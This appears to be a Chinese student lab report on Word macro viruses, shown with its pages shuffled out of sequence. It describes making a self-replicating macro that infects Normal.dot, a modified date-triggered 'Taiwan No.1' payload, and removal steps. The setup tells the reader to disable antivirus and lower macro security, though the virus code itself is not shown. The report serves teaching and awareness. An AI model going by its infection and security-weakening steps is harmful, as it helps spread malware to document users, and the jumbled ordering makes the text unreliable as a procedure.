搜索 winword.exe 文件，并确定复制其位置
8). 启用CMD,定位winword 位置： 输入命令，用参数来打开安全模式 winword.exe /a（执行此命令 2 次） 第一次安全模式
何谓宏病毒 答案：我就是......
5
书山有 路
将系统日期设为XX 月 1 号
如果答错，就会不停地刷屏，然后继续让你答题，否则跳出如下界面:
6
书山有 路
3. 计算机宏病毒 1). 新建Word 文档并打开 2). 调出开发工具,设置宏的等级，启用宏
7
书山有 路
3). 创建宏，命名AutoExec 编辑
二. 实验内容
1.macro virus 中的内容 2.信安实验平台--->计算机病毒篇 ---->计算机宏病毒 3. 结合杀毒软件如诺顿、卡巴斯基等，观察病毒查杀现象
三. 实验环境
1. macro virus 硬件设备：局域网，终端 PC 机。 系统软件：Windows 系列操作系统 支撑软件：Word 2003 软件设置：关闭杀毒软；打开Word 2003，在工具 宏 安全性中 ， 将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安 装的加载项和模板，选择信任visual basic 项目的访问. 实验环境配置如下图所示：
Visual Basic 宏编辑器）,在左侧的 project—>Microsoft Word 对象 ThisDocument 中输入以上代码，保存，此时当前 word 文档就 含有宏病毒
只要下次打开这个 word 文档，就会执行以上代码，并将自身复制到 Normal.dot（word 文档的公共模板）和当前文档的 ThisDocument 中， 同 时 改 变 函 数 名 （ 模 板 中 为 Document_Close ， 当 前 文 档 为 Document_Open），此时所有的 word 文档打开和关闭时，都将运行以 上的病毒代码，可以加入适当的恶意代码，影响 word 的正常使用， 本例中只是简单的跳出一个提示框。
2
书山有 路
受感染终端
受感染 Word文档
被染终端
2.计算机宏病毒 硬件设备：部署 WIN2003 系统的 PC 机一台 软件工具：Office word2007
3
书山有路
四．实验步骤及截图
1.自我复制，感染word 公用模板和当前文档 打开一个 word 文档，然后按 Alt+F11 调用宏编写窗口（工具 宏
10
书山有 路
第二次新建文档 进行宏的打开设置 来禁用宏
11
书山有路
9). 搜索 normal.dotm 等模板文件，若搜索不出东西，在高级选项中 选中搜索隐藏文件及系统文件即可，并删除那个文件夹下的所有模板
10). 简易摆脱宏完成，重新打开word,没有被感染。
五. 总结与心得
12
4
书山有 路
2.具有一定破坏性的宏 我们可以对上例中的恶意代码稍加修改，使其具有一定的破坏性（ 这 里以著名宏病毒“台湾一号”的恶意代码部分为基础，为使 其在 word2003 版本中运行，且降低破坏性，对源代码作适当修改） 。 该病毒的效果如下：当打开被感染的 word 文档时，首先进行自 我复 制，感染 word 模板，然后检查日期，看是否是 1 日（即在每 月的 1 日会发作），然后跳出一个对话框，要求用户进行一次心算 游戏，这 里只用四个小于 10 的数相乘，如果作者的计算正确，那 么就会新建 一个文档，跳出如下字幕：
书山有 路
计算机病毒 实验报告
姓 名： 学 号: 老 师： 日 期：
1
书山有 路
一. 实验目的
Word 宏是指能组织到一起为独立命令使用的一系列 Word 指令，它能 使日常工作变得容易。本实验演示了宏的编写，通过两个简单的宏病 毒示例，说明宏的原理及其安全漏洞和缺陷，理解宏病毒的作用机制， 从而加强对宏病毒的认识，提高防范意识。